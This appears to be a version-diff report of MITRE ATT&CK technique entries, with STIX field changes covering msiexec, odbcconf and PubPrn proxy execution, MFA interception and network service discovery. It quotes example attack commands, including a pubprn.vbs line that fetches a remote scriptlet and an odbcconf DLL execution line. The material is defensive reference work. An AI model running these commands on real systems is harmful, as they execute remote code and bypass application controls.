| x_mitre_data_sources[1] | Process command-line parameters | File: File Creation |
| x_mitre_data_sources[2] | Process monitoring | Network Traffic: Network Connection Creation |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | @ionstorm | |
| x_mitre_data_sources | Process: Process Creation |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse msiexec.exe to proxy execution of mali | t | 1 | Adversaries may abuse msiexec.exe to proxy execution of mali |
| > | cious payloads. Msiexec.exe is the command-line utility for | > | cious payloads. Msiexec.exe is the command-line utility for | ||
| > | the Windows Installer and is thus commonly associated with e | > | the Windows Installer and is thus commonly associated with e | ||
| > | xecuting installation packages (.msi).(Citation: Microsoft m | > | xecuting installation packages (.msi).(Citation: Microsoft m | ||
| > | siexec) Msiexec.exe is digitally signed by Microsoft. Adver | > | siexec) The Msiexec.exe binary may also be digitally signed | ||
| > | saries may abuse msiexec.exe to launch local or network acce | > | by Microsoft. Adversaries may abuse msiexec.exe to launch l | ||
| > | ssible MSI files. Msiexec.exe can also execute DLLs.(Citatio | > | ocal or network accessible MSI files. Msiexec.exe can also e | ||
| > | n: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Si | > | xecute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro | ||
| > | nce it is signed and native on Windows systems, msiexec.exe | > | Msiexec Feb 2018) Since it may be signed and native on Windo | ||
| > | can be used to bypass application control solutions that do | > | ws systems, msiexec.exe can be used to bypass application co | ||
| > | not account for its potential abuse. | > | ntrol solutions that do not account for its potential abuse. | ||
| > | Msiexec.exe execution may also be elevated to SYSTEM privil | ||||
| > | eges if the <code>AlwaysInstallElevated</code> policy is ena | ||||
| > | bled.(Citation: Microsoft AlwaysInstallElevated 2018) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Ziv Kaspersky, Cymptom', 'Alexandros Pappas'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:38:14.154000+00:00 | 2022-04-19 17:33:16.346000+00:00 |
| description | Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) Msiexec.exe is digitally signed by Microsoft. Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it is signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. | Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.
Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018) |
| external_references[1]['source_name'] | Microsoft msiexec | TrendMicro Msiexec Feb 2018 |
| external_references[1]['description'] | Microsoft. (2017, October 15). msiexec. Retrieved January 24, 2020. | Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019. |
| external_references[1]['url'] | https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec | https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/ |
| external_references[3]['source_name'] | TrendMicro Msiexec Feb 2018 | Microsoft msiexec |
| external_references[3]['description'] | Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019. | Microsoft. (2017, October 15). msiexec. Retrieved January 24, 2020. |
| external_references[3]['url'] | https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/ | https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec |
| x_mitre_data_sources[0] | DLL monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Process monitoring | Command: Command Execution |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft AlwaysInstallElevated 2018', 'description': 'Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December 14, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated'} | |
| x_mitre_data_sources | Module: Module Load |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may target two-factor authentication mechanisms, | t | 1 | Adversaries may target multi-factor authentication (MFA) mec |
| > | such as smart cards, to gain access to credentials that can | > | hanisms, (I.e., smart cards, token generators, etc.) to gain | ||
| > | be used to access systems, services, and network resources. | > | access to credentials that can be used to access systems, s | ||
| > | Use of two or multi-factor authentication (2FA or MFA) is r | > | ervices, and network resources. Use of MFA is recommended an | ||
| > | ecommended and provides a higher level of security than user | > | d provides a higher level of security than user names and pa | ||
| > | names and passwords alone, but organizations should be awar | > | sswords alone, but organizations should be aware of techniqu | ||
| > | e of techniques that could be used to intercept and bypass t | > | es that could be used to intercept and bypass these security | ||
| > | hese security mechanisms. If a smart card is used for two- | > | mechanisms. If a smart card is used for multi-factor auth | ||
| > | factor authentication, then a keylogger will need to be used | > | entication, then a keylogger will need to be used to obtain | ||
| > | to obtain the password associated with a smart card during | > | the password associated with a smart card during normal use. | ||
| > | normal use. With both an inserted card and access to the sma | > | With both an inserted card and access to the smart card pas | ||
| > | rt card password, an adversary can connect to a network reso | > | sword, an adversary can connect to a network resource using | ||
| > | urce using the infected system to proxy the authentication w | > | the infected system to proxy the authentication with the ins | ||
| > | ith the inserted hardware token. (Citation: Mandiant M Trend | > | erted hardware token. (Citation: Mandiant M Trends 2011) Ad | ||
| > | s 2011) Adversaries may also employ a keylogger to similarl | > | versaries may also employ a keylogger to similarly target ot | ||
| > | y target other hardware tokens, such as RSA SecurID. Capturi | > | her hardware tokens, such as RSA SecurID. Capturing token in | ||
| > | ng token input (including a user's personal identification c | > | put (including a user's personal identification code) may pr | ||
| > | ode) may provide temporary access (i.e. replay the one-time | > | ovide temporary access (i.e. replay the one-time passcode un | ||
| > | passcode until the next value rollover) as well as possibly | > | til the next value rollover) as well as possibly enabling ad | ||
| > | enabling adversaries to reliably predict future authenticati | > | versaries to reliably predict future authentication values ( | ||
| > | on values (given access to both the algorithm and any seed v | > | given access to both the algorithm and any seed values used | ||
| > | alues used to generate appended temporary codes). (Citation: | > | to generate appended temporary codes). (Citation: GCN RSA Ju | ||
| > | GCN RSA June 2011) Other methods of 2FA may be intercepted | > | ne 2011) Other methods of MFA may be intercepted and used b | ||
| > | and used by an adversary to authenticate. It is common for | > | y an adversary to authenticate. It is common for one-time co | ||
| > | one-time codes to be sent via out-of-band communications (em | > | des to be sent via out-of-band communications (email, SMS). | ||
| > | ail, SMS). If the device and/or service is not secured, then | > | If the device and/or service is not secured, then it may be | ||
| > | it may be vulnerable to interception. Although primarily fo | > | vulnerable to interception. Although primarily focused on by | ||
| > | cused on by cyber criminals, these authentication mechanisms | > | cyber criminals, these authentication mechanisms have been | ||
| > | have been targeted by advanced actors. (Citation: Operation | > | targeted by advanced actors. (Citation: Operation Emmental) | ||
| > | Emmental) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 20:35:21.672000+00:00 | 2022-04-01 18:02:50.531000+00:00 |
| name | Two-Factor Authentication Interception | Multi-Factor Authentication Interception |
| description | Adversaries may target two-factor authentication mechanisms, such as smart cards, to gain access to credentials that can be used to access systems, services, and network resources. Use of two or multi-factor authentication (2FA or MFA) is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. If a smart card is used for two-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011) Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011) Other methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental) | Adversaries may target multi-factor authentication (MFA) mechanisms, (I.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. If a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011) Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011) Other methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental) |
| x_mitre_data_sources[0] | API monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[1] | Process monitoring | Process: OS API Execution |
| x_mitre_data_sources[2] | Kernel drivers | Driver: Driver Load |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use [Patch System Image](https://attack.mitr | t | 1 | Adversaries may use [Patch System Image](https://attack.mitr |
| > | e.org/techniques/T1601/001) to hard code a password in the o | > | e.org/techniques/T1601/001) to hard code a password in the o | ||
| > | perating system, thus bypassing of native authentication mec | > | perating system, thus bypassing of native authentication mec | ||
| > | hanisms for local accounts on network devices. [Modify Syst | > | hanisms for local accounts on network devices. [Modify Syst | ||
| > | em Image](https://attack.mitre.org/techniques/T1601) may inc | > | em Image](https://attack.mitre.org/techniques/T1601) may inc | ||
| > | lude implanted code to the operating system for network devi | > | lude implanted code to the operating system for network devi | ||
| > | ces to provide access for adversaries using a specific passw | > | ces to provide access for adversaries using a specific passw | ||
| > | ord. The modification includes a specific password which is | > | ord. The modification includes a specific password which is | ||
| > | implanted in the operating system image via the patch. Upo | > | implanted in the operating system image via the patch. Upo | ||
| > | n authentication attempts, the inserted code will first chec | > | n authentication attempts, the inserted code will first chec | ||
| > | k to see if the user input is the password. If so, access is | > | k to see if the user input is the password. If so, access is | ||
| > | granted. Otherwise, the implanted code will pass the creden | > | granted. Otherwise, the implanted code will pass the creden | ||
| > | tials on for verification of potentially valid credentials.( | > | tials on for verification of potentially valid credentials.( | ||
| > | Citation: FireEye - Synful Knock) | > | Citation: Mandiant - Synful Knock) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 02:41:11.550000+00:00 | 2021-12-14 23:14:26.107000+00:00 |
| description | Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices. [Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: FireEye - Synful Knock) | Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices. [Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock) |
| external_references[1]['source_name'] | FireEye - Synful Knock | Mandiant - Synful Knock |
| external_references[1]['url'] | https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html | https://www.mandiant.com/resources/synful-knock-acis |
| x_mitre_data_sources[0] | File monitoring | File: File Modification |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'} |
Current version: 3.0
Version changed from: 2.1 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to get a listing of services running | t | 1 | Adversaries may attempt to get a listing of services running |
| > | on remote hosts, including those that may be vulnerable to | > | on remote hosts and local network infrastructure devices, i | ||
| > | remote software exploitation. Methods to acquire this inform | > | ncluding those that may be vulnerable to remote software exp | ||
| > | ation include port scans and vulnerability scans using tools | > | loitation. Common methods to acquire this information includ | ||
| > | that are brought onto a system. Within cloud environments | > | e port and/or vulnerability scans using tools that are broug | ||
| > | , adversaries may attempt to discover services running on ot | > | ht onto a system.(Citation: CISA AR21-126A FIVEHANDS May 202 | ||
| > | her cloud hosts. Additionally, if the cloud environment is c | > | 1) Within cloud environments, adversaries may attempt to | ||
| > | onnected to a on-premises environment, adversaries may be ab | > | discover services running on other cloud hosts. Additionall | ||
| > | le to identify services running on non-cloud systems as well | > | y, if the cloud environment is connected to a on-premises en | ||
| > | . | > | vironment, adversaries may be able to identify services runn | ||
| > | ing on non-cloud systems as well. Within macOS environments | ||||
| > | , adversaries may use the native Bonjour application to disc | ||||
| > | over services running on other macOS hosts within a network. | ||||
| > | The Bonjour mDNSResponder daemon automatically registers an | ||||
| > | d advertises a host’s registered services on the network. Fo | ||||
| > | r example, adversaries can use a mDNS query (such as <code>d | ||||
| > | ns-sd -B _ssh._tcp .</code>) to find other systems broadcast | ||||
| > | ing the ssh service.(Citation: apple doco bonjour descriptio | ||||
| > | n)(Citation: macOS APT Activity Bradley) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Apple Inc. (2013, April 23). Bonjour Overview. Retrieved October 11, 2021. |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['Administrator', 'SYSTEM', 'User'] | |
| external_references | CAPEC-300 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-11 19:55:53.828000+00:00 | 2022-04-20 16:05:30.960000+00:00 |
| name | Network Service Scanning | Network Service Discovery |
| description | Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system. Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well. | Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)
Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.
Within macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host’s registered services on the network. For example, adversaries can use a mDNS query (such as dns-sd -B _ssh._tcp .) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley) |
| external_references[1]['source_name'] | capec | apple doco bonjour description |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/300.html | https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/NetServices/Introduction.html |
| x_mitre_data_sources[0] | Netflow/Enclave netflow | Cloud Service: Cloud Service Enumeration |
| x_mitre_data_sources[1] | Network protocol analysis | Command: Command Execution |
| x_mitre_data_sources[2] | Packet capture | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | Windows | IaaS |
| x_mitre_platforms[2] | macOS | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_platforms[4] | GCP | Containers |
| x_mitre_platforms[5] | Azure | Network |
| x_mitre_version | 2.1 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CISA AR21-126A FIVEHANDS May 2021', 'description': 'CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021.', 'url': 'https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a'} | |
| external_references | {'source_name': 'macOS APT Activity Bradley', 'description': 'Jaron Bradley. (2021, November 14). What does APT Activity Look Like on macOS?. Retrieved January 19, 2022.', 'url': 'https://themittenmac.com/what-does-apt-activity-look-like-on-macos/'} | |
| external_references | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/300.html', 'external_id': 'CAPEC-300'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_data_sources | Process use of network |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse odbcconf.exe to proxy execution of mal | t | 1 | Adversaries may abuse odbcconf.exe to proxy execution of mal |
| > | icious payloads. Odbcconf.exe is a Windows utility that allo | > | icious payloads. Odbcconf.exe is a Windows utility that allo | ||
| > | ws you to configure Open Database Connectivity (ODBC) driver | > | ws you to configure Open Database Connectivity (ODBC) driver | ||
| > | s and data source names.(Citation: Microsoft odbcconf.exe) O | > | s and data source names.(Citation: Microsoft odbcconf.exe) T | ||
| > | dbcconf.exe is digitally signed by Microsoft. Adversaries m | > | he Odbcconf.exe binary may be digitally signed by Microsoft. | ||
| > | ay abuse odbcconf.exe to bypass application control solution | > | Adversaries may abuse odbcconf.exe to bypass application c | ||
| > | s that do not account for its potential abuse. Similar to [R | > | ontrol solutions that do not account for its potential abuse | ||
| > | egsvr32](https://attack.mitre.org/techniques/T1218/010), odb | > | . Similar to [Regsvr32](https://attack.mitre.org/techniques/ | ||
| > | cconf.exe has a <code>REGSVR</code> flag that can be misused | > | T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that | ||
| > | to execute DLLs (ex: <code>odbcconf.exe /S /A {REGSV | > | can be misused to execute DLLs (ex: <code>odbcconf.exe /S / | ||
| > | R "C:\Users\Public\file.dll"}</code>). (Citation: LOL | > | A {REGSVR "C:\Users\Public\file.dll"}</code>). | ||
| > | BAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Cita | > | (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo | ||
| > | tion: TrendMicro Cobalt Group Nov 2017) | > | Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:39:00.717000+00:00 | 2022-03-11 18:52:49.877000+00:00 |
| description | Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) Odbcconf.exe is digitally signed by Microsoft.
Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)
| Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.
Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)
|
| x_mitre_data_sources[0] | Loaded DLLs | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Module: Module Load |
| x_mitre_data_sources[2] | Process monitoring | Command: Command Execution |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 20:59:05.209000+00:00 | 2021-04-20 20:11:55.147000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Module: Module Load |
| x_mitre_data_sources[1] | DLL monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'} | |
| x_mitre_data_sources | File: File Creation |
Current version: 2.0
Version changed from: 1.0 → 2.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-13 21:23:01.370000+00:00 | 2021-10-17 14:48:33.580000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | Logon Session: Logon Session Creation |
| x_mitre_data_sources[1] | File monitoring | File: File Modification |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'} |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use the trusted PubPrn script to proxy execu | t | 1 | Adversaries may use PubPrn to proxy execution of malicious r |
| > | tion of malicious files. This behavior may bypass signature | > | emote files. PubPrn.vbs is a [Visual Basic](https://attack.m | ||
| > | validation restrictions and application control solutions th | > | itre.org/techniques/T1059/005) script that publishes a print | ||
| > | at do not account for use of these scripts. <code>PubPrn.vb | > | er to Active Directory Domain Services. The script may be si | ||
| > | s</code> is a Visual Basic script that publishes a printer t | > | gned by Microsoft and is commonly executed through the [Wind | ||
| > | o Active Directory Domain Services. The script is signed by | > | ows Command Shell](https://attack.mitre.org/techniques/T1059 | ||
| > | Microsoft and can be used to proxy execution from a remote s | > | /003) via <code>Cscript.exe</code>. For example, the followi | ||
| > | ite.(Citation: Enigma0x3 PubPrn Bypass) An example command i | > | ng code publishes a printer within the specified domain: <co | ||
| > | s <code>cscript C[:]\Windows\System32\Printing_Admin_Scripts | > | de>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,D | ||
| > | \en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/ | > | C=Com</code>.(Citation: pubprn) Adversaries may abuse PubPr | ||
| > | hi.png</code>. | > | n to execute malicious payloads hosted on remote sites.(Cita | ||
| > | tion: Enigma0x3 PubPrn Bypass) To do so, adversaries may set | ||||
| > | the second <code>script:</code> parameter to reference a sc | ||||
| > | riptlet file (.sct) hosted on a remote site. An example comm | ||||
| > | and is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.co | ||||
| > | m/folder/file.sct</code>. This behavior may bypass signature | ||||
| > | validation restrictions and application control solutions t | ||||
| > | hat do not account for abuse of this script. In later versi | ||||
| > | ons of Windows (10+), <code>PubPrn.vbs</code> has been updat | ||||
| > | ed to prevent proxying execution from a remote site. This is | ||||
| > | done by limiting the protocol specified in the second param | ||||
| > | eter to <code>LDAP://</code>, vice the <code>script:</code> | ||||
| > | moniker which could be used to reference remote code via HTT | ||||
| > | P(S). | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Atul Nair, Qualys'] | |
| x_mitre_defense_bypassed | ['Digital Certificate Validation', 'Application Control'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-08 23:36:30.648000+00:00 | 2022-04-18 14:55:35.817000+00:00 |
| description | Adversaries may use the trusted PubPrn script to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application control solutions that do not account for use of these scripts.
PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and can be used to proxy execution from a remote site.(Citation: Enigma0x3 PubPrn Bypass) An example command is cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png. | Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)
Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.
In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S). |
| external_references[1]['source_name'] | Enigma0x3 PubPrn Bypass | pubprn |
| external_references[1]['description'] | Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018. | Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021. |
| external_references[1]['url'] | https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/ | https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn |
| x_mitre_data_sources[0] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Enigma0x3 PubPrn Bypass', 'description': 'Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018.', 'url': 'https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/'} | |
| x_mitre_data_sources | Script: Script Execution |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use rc.common automatically executed at boot | t | 1 | Adversaries may establish persistence by modifying RC script |
| > | initialization to establish persistence. During the boot pr | > | s which are executed during a Unix-like system’s startup. Th | ||
| > | ocess, macOS executes <code>source /etc/rc.common</code>, wh | > | ese files allow system administrators to map and start custo | ||
